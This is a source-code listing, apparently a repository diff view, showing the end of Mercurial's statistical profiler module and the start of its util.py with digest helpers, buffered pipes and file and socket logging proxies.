     total_cum_percent = 0
     for stat in stats:
         total_cum_sec += stat.totalseconds()
         total_self_sec += stat.selfseconds()
         total_self_percent += stat.selfpercent()
         total_cum_percent += stat.totalpercent()
 
     fp.write(
         b'\n    %s:%s    Total: %0.2fs (%0.2f%%)    Self: %0.2fs (%0.2f%%)\n\n'
         % (
         pycompat.sysbytes(filename or '___'),
         pycompat.sysbytes(function),
         total_cum_sec,
         total_cum_percent,
         total_self_sec,
         total_self_percent
         ))
 
     children = [(child, count) for child, count in children.iteritems()]
     children.sort(reverse=True, key=lambda x: x[1])
     for child, count in children:
         fp.write(b'        %6.2f%%   line %s: %s\n' %
               (count / relevant_samples * 100, child.lineno,
                pycompat.sysbytes(child.getsource(50))))
 
 def display_hotpath(data, fp, limit=0.05, **kwargs):
     class HotNode(object):
         def __init__(self, site):
             self.site = site
             self.count = 0
             self.children = {}
 
         def add(self, stack, time):
             self.count += time
             site = stack[0]
             child = self.children.get(site)
             if not child:
                 child = HotNode(site)
                 self.children[site] = child
 
             if len(stack) > 1:
                 i = 1
                 # Skip boiler plate parts of the stack
                 while i < len(stack) and stack[i].skipname() in skips:
                     i += 1
                 if i < len(stack):
                     child.add(stack[i:], time)
 
     root = HotNode(None)
     lasttime = data.samples[0].time
     for sample in data.samples:
         root.add(sample.stack[::-1], sample.time - lasttime)
         lasttime = sample.time
 
     def _write(node, depth, multiple_siblings):
         site = node.site
         visiblechildren = [c for c in node.children.itervalues()
                              if c.count >= (limit * root.count)]
         if site:
             indent = depth * 2 - 1
             filename = ''
             function = ''
             if len(node.children) > 0:
                 childsite = list(node.children.itervalues())[0].site
                 filename = (childsite.filename() + ':').ljust(15)
                 function = childsite.function
 
             # lots of string formatting
             listpattern = ''.ljust(indent) +\
                           ('\\' if multiple_siblings else '|') +\
                           ' %4.1f%%  %s %s'
             liststring = listpattern % (node.count / root.count * 100,
                                         filename, function)
             codepattern = '%' + ('%d' % (55 - len(liststring))) + 's %d:  %s'
             codestring = codepattern % ('line', site.lineno, site.getsource(30))
 
             finalstring = liststring + codestring
             childrensamples = sum([c.count for c in node.children.itervalues()])
             # Make frames that performed more than 10% of the operation red
             if node.count - childrensamples > (0.1 * root.count):
                 finalstring = '\033[91m' + finalstring + '\033[0m'
             # Make frames that didn't actually perform work dark grey
             elif node.count - childrensamples == 0:
                 finalstring = '\033[90m' + finalstring + '\033[0m'
             fp.write(finalstring + b'\n')
 
         newdepth = depth
         if len(visiblechildren) > 1 or multiple_siblings:
             newdepth += 1
 
         visiblechildren.sort(reverse=True, key=lambda x: x.count)
         for child in visiblechildren:
             _write(child, newdepth, len(visiblechildren) > 1)
 
     if root.count > 0:
         _write(root, 0, False)
 
 def write_to_flame(data, fp, scriptpath=None, outputfile=None, **kwargs):
     if scriptpath is None:
         scriptpath = encoding.environ['HOME'] + '/flamegraph.pl'
     if not os.path.exists(scriptpath):
         fp.write(b'error: missing %s\n' % scriptpath)
         fp.write(b'get it here: https://github.com/brendangregg/FlameGraph\n')
         return
 
     fd, path = pycompat.mkstemp()
 
     file = open(path, "w+")
 
     lines = {}
     for sample in data.samples:
         sites = [s.function for s in sample.stack]
         sites.reverse()
         line = ';'.join(sites)
         if line in lines:
             lines[line] = lines[line] + 1
         else:
             lines[line] = 1
 
     for line, count in lines.iteritems():
         file.write("%s %d\n" % (line, count))
 
     file.close()
 
     if outputfile is None:
         outputfile = '~/flamegraph.svg'
 
     os.system("perl ~/flamegraph.pl %s > %s" % (path, outputfile))
     fp.write(b'Written to %s\n' % outputfile)
 
 _pathcache = {}
 def simplifypath(path):
     '''Attempt to make the path to a Python module easier to read by
     removing whatever part of the Python search path it was found
     on.'''
 
     if path in _pathcache:
         return _pathcache[path]
     hgpath = pycompat.fsencode(encoding.__file__).rsplit(os.sep, 2)[0]
     for p in [hgpath] + sys.path:
         prefix = p + os.sep
         if path.startswith(prefix):
             path = path[len(prefix):]
             break
     _pathcache[path] = path
     return path
 
 def write_to_json(data, fp):
     samples = []
 
     for sample in data.samples:
         stack = []
 
         for frame in sample.stack:
             stack.append(
                 (pycompat.sysstr(frame.path),
                  frame.lineno,
                  pycompat.sysstr(frame.function)))
 
         samples.append((sample.time, stack))
 
     data = json.dumps(samples)
     if not isinstance(data, bytes):
         data = data.encode('utf-8')
 
     fp.write(data)
 
 def write_to_chrome(data, fp, minthreshold=0.005, maxthreshold=0.999):
     samples = []
     laststack = collections.deque()
     lastseen = collections.deque()
 
     # The Chrome tracing format allows us to use a compact stack
     # representation to save space. It's fiddly but worth it.
     # We maintain a bijection between stack and ID.
     stack2id = {}
     id2stack = [] # will eventually be rendered
 
     def stackid(stack):
         if not stack:
             return
         if stack in stack2id:
             return stack2id[stack]
         parent = stackid(stack[1:])
         myid = len(stack2id)
         stack2id[stack] = myid
         id2stack.append(dict(category=stack[0][0], name='%s %s' % stack[0]))
         if parent is not None:
             id2stack[-1].update(parent=parent)
         return myid
 
     # The sampling profiler can sample multiple times without
     # advancing the clock, potentially causing the Chrome trace viewer
     # to render single-pixel columns that we cannot zoom in on.  We
     # work around this by pretending that zero-duration samples are a
     # millisecond in length.
 
     clamp = 0.001
 
     # We provide knobs that by default attempt to filter out stack
     # frames that are too noisy:
     #
     # * A few take almost all execution time. These are usually boring
     #   setup functions, giving a stack that is deep but uninformative.
     #
     # * Numerous samples take almost no time, but introduce lots of
     #   noisy, oft-deep "spines" into a rendered profile.
 
     blacklist = set()
     totaltime = data.samples[-1].time - data.samples[0].time
     minthreshold = totaltime * minthreshold
     maxthreshold = max(totaltime * maxthreshold, clamp)
 
     def poplast():
         oldsid = stackid(tuple(laststack))
         oldcat, oldfunc = laststack.popleft()
         oldtime, oldidx = lastseen.popleft()
         duration = sample.time - oldtime
         if minthreshold <= duration <= maxthreshold:
             # ensure no zero-duration events
             sampletime = max(oldtime + clamp, sample.time)
             samples.append(dict(ph='E', name=oldfunc, cat=oldcat, sf=oldsid,
                                 ts=sampletime*1e6, pid=0))
         else:
             blacklist.add(oldidx)
 
     # Much fiddling to synthesize correctly(ish) nested begin/end
     # events given only stack snapshots.
 
     for sample in data.samples:
         stack = tuple((('%s:%d' % (simplifypath(frame.path), frame.lineno),
                         frame.function) for frame in sample.stack))
         qstack = collections.deque(stack)
         if laststack == qstack:
             continue
         while laststack and qstack and laststack[-1] == qstack[-1]:
             laststack.pop()
             qstack.pop()
         while laststack:
             poplast()
         for f in reversed(qstack):
             lastseen.appendleft((sample.time, len(samples)))
             laststack.appendleft(f)
             path, name = f
             sid = stackid(tuple(laststack))
             samples.append(dict(ph='B', name=name, cat=path, ts=sample.time*1e6,
                                 sf=sid, pid=0))
         laststack = collections.deque(stack)
     while laststack:
         poplast()
     events = [s[1] for s in enumerate(samples) if s[0] not in blacklist]
     frames = collections.OrderedDict((str(k), v)
                                      for (k,v) in enumerate(id2stack))
     json.dump(dict(traceEvents=events, stackFrames=frames), fp, indent=1)
     fp.write('\n')
 
 def printusage():
     print(r"""
 The statprof command line allows you to inspect the last profile's results in
 the following forms:
 
 usage:
     hotpath [-l --limit percent]
         Shows a graph of calls with the percent of time each takes.
         Red calls take over 10%% of the total time themselves.
     lines
         Shows the actual sampled lines.
     functions
         Shows the samples grouped by function.
     function [filename:]functionname
         Shows the callers and callees of a particular function.
     flame [-s --script-path] [-o --output-file path]
         Writes out a flamegraph to output-file (defaults to ~/flamegraph.svg)
         Requires that ~/flamegraph.pl exist.
         (Specify alternate script path with --script-path.)""")
 
 def main(argv=None):
     if argv is None:
         argv = sys.argv
 
     if len(argv) == 1:
         printusage()
         return 0
 
     displayargs = {}
 
     optstart = 2
     displayargs['function'] = None
     if argv[1] == r'hotpath':
         displayargs['format'] = DisplayFormats.Hotpath
     elif argv[1] == r'lines':
         displayargs['format'] = DisplayFormats.ByLine
     elif argv[1] == r'functions':
         displayargs['format'] = DisplayFormats.ByMethod
     elif argv[1] == r'function':
         displayargs['format'] = DisplayFormats.AboutMethod
         displayargs['function'] = argv[2]
         optstart = 3
     elif argv[1] == r'flame':
         displayargs['format'] = DisplayFormats.FlameGraph
     else:
         printusage()
         return 0
 
     # process options
     try:
         opts, args = pycompat.getoptb(sys.argv[optstart:], "hl:f:o:p:",
                                    ["help", "limit=", "file=", "output-file=", "script-path="])
     except getopt.error as msg:
         print(msg)
         printusage()
         return 2
 
     displayargs['limit'] = 0.05
     path = None
     for o, value in opts:
         if o in (r"-l", r"--limit"):
             displayargs['limit'] = float(value)
         elif o in (r"-f", r"--file"):
             path = value
         elif o in (r"-o", r"--output-file"):
             displayargs['outputfile'] = value
         elif o in (r"-p", r"--script-path"):
             displayargs['scriptpath'] = value
         elif o in (r"-h", r"help"):
             printusage()
             return 0
         else:
             assert False, "unhandled option %s" % o
 
     if not path:
         print(r'must specify --file to load')
         return 1
 
     load_data(path=path)
 
     display(**pycompat.strkwargs(displayargs))
 
     return 0
 
 if __name__ == r"__main__":
     sys.exit(main())

mercurial/util.py

@@ -1,4021 +1,4021 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import bz2
 import collections
 import contextlib
 import errno
 import gc
 import hashlib
 import itertools
 import mmap
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import socket
 import stat
 import sys
 import time
 import traceback
 import warnings
 import zlib
 
 from .thirdparty import (
     attr,
 )
 from hgdemandimport import tracing
 from . import (
     encoding,
     error,
     i18n,
     node as nodemod,
     policy,
     pycompat,
     urllibcompat,
 )
 from .utils import (
     procutil,
     stringutil,
 )
 
 base85 = policy.importmod(r'base85')
 osutil = policy.importmod(r'osutil')
 parsers = policy.importmod(r'parsers')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 httplib = pycompat.httplib
 pickle = pycompat.pickle
 safehasattr = pycompat.safehasattr
 socketserver = pycompat.socketserver
 bytesio = pycompat.bytesio
 # TODO deprecate stringio name, as it is a lie on Python 3.
 stringio = bytesio
 xmlrpclib = pycompat.xmlrpclib
 
 httpserver = urllibcompat.httpserver
 urlerr = urllibcompat.urlerr
 urlreq = urllibcompat.urlreq
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 if pycompat.iswindows:
     from . import windows as platform
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 expandglobs = platform.expandglobs
 getfsmountpoint = platform.getfsmountpoint
 getfstype = platform.getfstype
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 posixfile = platform.posixfile
 readlink = platform.readlink
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setflags = platform.setflags
 split = platform.split
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
 if _dowarn and pycompat.ispy3:
     # silence warning emitted by passing user string to re.sub()
     warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
                             r'mercurial')
     warnings.filterwarnings(r'ignore', r'invalid escape sequence',
                             DeprecationWarning, r'mercurial')
     # TODO: reinvent imp.is_frozen()
     warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
                             DeprecationWarning, r'mercurial')
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += ("\n(compatibility will be dropped after Mercurial-%s,"
                 " update your code.)") % version
         warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
 
 DIGESTS = {
     'md5': hashlib.md5,
     'sha1': hashlib.sha1,
     'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester([b'md5', b'sha1'])
     >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise error.Abort(_('unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise error.Abort(_('unknown digest type: %s') % k)
         return nodemod.hex(self._hashes[key].digest())
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise error.Abort(_('size mismatch: expected %d, got %d') %
                               (self._size, self._got))
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise error.Abort(_('%s mismatch: expected %s, got %s') %
                                   (k, v, self._digester[k]))
 
 try:
     buffer = buffer
 except NameError:
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset:offset + length]
         return memoryview(sliceable)[offset:]
 
 _chunksize = 4096
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
     def __new__(cls, fh):
         # If we receive a fileobjectproxy, we need to use a variation of this
         # class that notifies observers about activity.
         if isinstance(fh, fileobjectproxy):
             cls = observedbufferedinputpipe
 
         return super(bufferedinputpipe, cls).__new__(cls)
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def unbufferedread(self, size):
         if not self._eof and self._lenbuf == 0:
             self._fillbuffer(max(size, _chunksize))
         return self._frombuffer(min(self._lenbuf, size))
 
     def readline(self, *args, **kwargs):
         if len(self._buffer) > 1:
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find('\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find('\n')
         size = lfi + 1
         if lfi < 0: # end of file
             size = self._lenbuf
         elif len(self._buffer) > 1:
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return ''
         buf = self._buffer[0]
         if len(self._buffer) > 1:
             buf = ''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data):]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self, size=_chunksize):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), size)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
         return data
 
 def mmapread(fp):
     try:
         fd = getattr(fp, 'fileno', lambda: fp)()
         return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
     except ValueError:
         # Empty files cannot be mmapped, but mmapread should still work.  Check
         # if the file is empty, and if so, return an empty buffer.
         if os.fstat(fd).st_size == 0:
             return ''
         raise
 
 class fileobjectproxy(object):
     """A proxy around file objects that tells a watcher when events occur.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
     __slots__ = (
         r'_orig',
         r'_observer',
     )
 
     def __init__(self, fh, observer):
         object.__setattr__(self, r'_orig', fh)
         object.__setattr__(self, r'_observer', observer)
 
     def __getattribute__(self, name):
         ours = {
             r'_observer',
 
             # IOBase
             r'close',
             # closed if a property
             r'fileno',
             r'flush',
             r'isatty',
             r'readable',
             r'readline',
             r'readlines',
             r'seek',
             r'seekable',
             r'tell',
             r'truncate',
             r'writable',
             r'writelines',
             # RawIOBase
             r'read',
             r'readall',
             r'readinto',
             r'write',
             # BufferedIOBase
             # raw is a property
             r'detach',
             # read defined above
             r'read1',
             # readinto defined above
             # write defined above
         }
 
         # We only observe some methods.
         if name in ours:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, r'_orig'), name)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, r'_orig'))
 
     __bool__ = __nonzero__
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, r'_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, r'_orig'), name, value)
 
     def __iter__(self):
         return object.__getattribute__(self, r'_orig').__iter__()
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, r'_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, r'_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def close(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'close', *args, **kwargs)
 
     def fileno(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'fileno', *args, **kwargs)
 
     def flush(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'flush', *args, **kwargs)
 
     def isatty(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'isatty', *args, **kwargs)
 
     def readable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readable', *args, **kwargs)
 
     def readline(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readline', *args, **kwargs)
 
     def readlines(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readlines', *args, **kwargs)
 
     def seek(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'seek', *args, **kwargs)
 
     def seekable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'seekable', *args, **kwargs)
 
     def tell(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'tell', *args, **kwargs)
 
     def truncate(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'truncate', *args, **kwargs)
 
     def writable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'writable', *args, **kwargs)
 
     def writelines(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'writelines', *args, **kwargs)
 
     def read(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'read', *args, **kwargs)
 
     def readall(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readall', *args, **kwargs)
 
     def readinto(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readinto', *args, **kwargs)
 
     def write(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'write', *args, **kwargs)
 
     def detach(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'detach', *args, **kwargs)
 
     def read1(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'read1', *args, **kwargs)
 
 class observedbufferedinputpipe(bufferedinputpipe):
     """A variation of bufferedinputpipe that is aware of fileobjectproxy.
 
     ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
     bypass ``fileobjectproxy``. Because of this, we need to make
     ``bufferedinputpipe`` aware of these operations.
 
     This variation of ``bufferedinputpipe`` can notify observers about
     ``os.read()`` events. It also re-publishes other events, such as
     ``read()`` and ``readline()``.
     """
     def _fillbuffer(self):
         res = super(observedbufferedinputpipe, self)._fillbuffer()
 
         fn = getattr(self._input._observer, r'osread', None)
         if fn:
             fn(res, _chunksize)
 
         return res
 
     # We use different observer methods because the operation isn't
     # performed on the actual file object but on us.
     def read(self, size):
         res = super(observedbufferedinputpipe, self).read(size)
 
         fn = getattr(self._input._observer, r'bufferedread', None)
         if fn:
             fn(res, size)
 
         return res
 
     def readline(self, *args, **kwargs):
         res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
 
         fn = getattr(self._input._observer, r'bufferedreadline', None)
         if fn:
             fn(res)
 
         return res
 
 PROXIED_SOCKET_METHODS = {
     r'makefile',
     r'recv',
     r'recvfrom',
     r'recvfrom_into',
     r'recv_into',
     r'send',
     r'sendall',
     r'sendto',
     r'setblocking',
     r'settimeout',
     r'gettimeout',
     r'setsockopt',
 }
 
 class socketproxy(object):
     """A proxy around a socket that tells a watcher when events occur.
 
     This is like ``fileobjectproxy`` except for sockets.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
     __slots__ = (
         r'_orig',
         r'_observer',
     )
 
     def __init__(self, sock, observer):
         object.__setattr__(self, r'_orig', sock)
         object.__setattr__(self, r'_observer', observer)
 
     def __getattribute__(self, name):
         if name in PROXIED_SOCKET_METHODS:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, r'_orig'), name)
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, r'_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, r'_orig'), name, value)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, r'_orig'))
 
     __bool__ = __nonzero__
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, r'_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, r'_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def makefile(self, *args, **kwargs):
         res = object.__getattribute__(self, r'_observedcall')(
             r'makefile', *args, **kwargs)
 
         # The file object may be used for I/O. So we turn it into a
         # proxy using our observer.
         observer = object.__getattribute__(self, r'_observer')
         return makeloggingfileobject(observer.fh, res, observer.name,
                                      reads=observer.reads,
                                      writes=observer.writes,
                                      logdata=observer.logdata,
                                      logdataapis=observer.logdataapis)
 
     def recv(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recv', *args, **kwargs)
 
     def recvfrom(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recvfrom', *args, **kwargs)
 
     def recvfrom_into(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recvfrom_into', *args, **kwargs)
 
     def recv_into(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recv_info', *args, **kwargs)
 
     def send(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'send', *args, **kwargs)
 
     def sendall(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'sendall', *args, **kwargs)
 
     def sendto(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'sendto', *args, **kwargs)
 
     def setblocking(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'setblocking', *args, **kwargs)
 
     def settimeout(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'settimeout', *args, **kwargs)
 
     def gettimeout(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'gettimeout', *args, **kwargs)
 
     def setsockopt(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'setsockopt', *args, **kwargs)
 
 class baseproxyobserver(object):
     def _writedata(self, data):
         if not self.logdata:
             if self.logdataapis:
                 self.fh.write('\n')
                 self.fh.flush()
             return
 
         # Simple case writes all data on a single line.
         if b'\n' not in data:
             if self.logdataapis:
                 self.fh.write(': %s\n' % stringutil.escapestr(data))
             else:
                 self.fh.write('%s>     %s\n'
                               % (self.name, stringutil.escapestr(data)))
             self.fh.flush()
             return
 
         # Data with newlines is written to multiple lines.
         if self.logdataapis:
             self.fh.write(':\n')
 
         lines = data.splitlines(True)
         for line in lines:
             self.fh.write('%s>     %s\n'
                           % (self.name, stringutil.escapestr(line)))
         self.fh.flush()
 
 class fileobjectobserver(baseproxyobserver):
     """Logs file object activity."""
     def __init__(self, fh, name, reads=True, writes=True, logdata=False,
                  logdataapis=True):
         self.fh = fh
         self.name = name
         self.logdata = logdata
         self.logdataapis = logdataapis
         self.reads = reads
         self.writes = writes
 
     def read(self, res, size=-1):
         if not self.reads:
             return
         # Python 3 can return None from reads at EOF instead of empty strings.
         if res is None:
             res = ''
 
         if size == -1 and res == '':
             # Suppress pointless read(-1) calls that return
             # nothing. These happen _a lot_ on Python 3, and there
             # doesn't seem to be a better workaround to have matching
             # Python 2 and 3 behavior. :(
             return
 
         if self.logdataapis:
             self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
 
         self._writedata(res)
 
     def readline(self, res, limit=-1):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
 
         self._writedata(res)
 
     def readinto(self, res, dest):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
                                                       res))
 
         data = dest[0:res] if res is not None else b''
 
         # _writedata() uses "in" operator and is confused by memoryview because
         # characters are ints on Python 3.
         if isinstance(data, memoryview):
             data = data.tobytes()
 
         self._writedata(data)
 
     def write(self, res, data):
         if not self.writes:
             return
 
         # Python 2 returns None from some write() calls. Python 3 (reasonably)
         # returns the integer bytes written.
         if res is None and data:
             res = len(data)
 
         if self.logdataapis:
             self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
 
         self._writedata(data)
 
     def flush(self, res):
         if not self.writes:
             return
 
         self.fh.write('%s> flush() -> %r\n' % (self.name, res))
 
     # For observedbufferedinputpipe.
     def bufferedread(self, res, size):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> bufferedread(%d) -> %d' % (
                 self.name, size, len(res)))
 
         self._writedata(res)
 
     def bufferedreadline(self, res):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> bufferedreadline() -> %d' % (
                 self.name, len(res)))
 
         self._writedata(res)
 
 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
                           logdata=False, logdataapis=True):
     """Turn a file object into a logging file object."""
 
     observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
                                   logdata=logdata, logdataapis=logdataapis)
     return fileobjectproxy(fh, observer)
 
 class socketobserver(baseproxyobserver):
     """Logs socket activity."""
     def __init__(self, fh, name, reads=True, writes=True, states=True,
